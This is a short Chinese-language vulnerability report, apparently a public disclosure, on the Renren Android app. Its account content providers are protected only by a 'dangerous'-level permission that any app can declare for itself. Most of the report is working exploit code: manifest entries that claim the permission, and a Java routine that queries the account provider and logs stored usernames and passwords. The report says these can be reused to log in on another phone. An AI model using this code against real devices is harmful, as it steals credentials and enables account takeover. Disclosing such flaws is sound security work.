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android客户端最新版
<provider android:name=".contentprovider.AccountProvider" android:permission="com.renren.mobile.android.permission.PERMISSION_ADD_ACCOUNT" android:authorities="com.renren.mobile.account" />
<provider android:name=".contentprovider.BaseProvider" android:permission="com.renren.mobile.android.permission.PERMISSION_ADD_ACCOUNT" android:authorities="com.renren.mobile.base" />
虽然有com.renren.mobile.android.permission.PERMISSION_ADD_ACCOUNT，但是权限只是android:protectionLevel="dangerous"，这个不够，声明这个权限又能够读取到信息
以AccountProvider为例，读取数据库中用户名密码等等全部信息，从而可以在其他手机上替换这个数据库，进而直接登录进去
主要利用代码:
manifest中需要声明
<permission android:name="com.renren.mobile.android.permission.PERMISSION_ADD_ACCOUNT" android:protectionLevel="dangerous" />
<uses-permission android:name="com.renren.mobile.android.permission.PERMISSION_ADD_ACCOUNT" />
代码中:
private void renren()
{
int i = 0;
ContentResolver contentresolver = getContentResolver();
Uri uri = Uri.parse("content://com.renren.mobile.account/account");
Cursor cursor = contentresolver.query(uri, null, null, null, null);
do
{
if (!cursor.moveToNext())
{
Log.i("TEST",String.valueOf(i));
return;
}
Log.i("TEST", (new StringBuilder("id=")).append(cursor.getInt(0)).append(",name=").append(cursor.getString(2)).append(",passwd=").append(cursor.getString(3)).toString());
i++;
} while (true);
}
即能够获取到隐私信息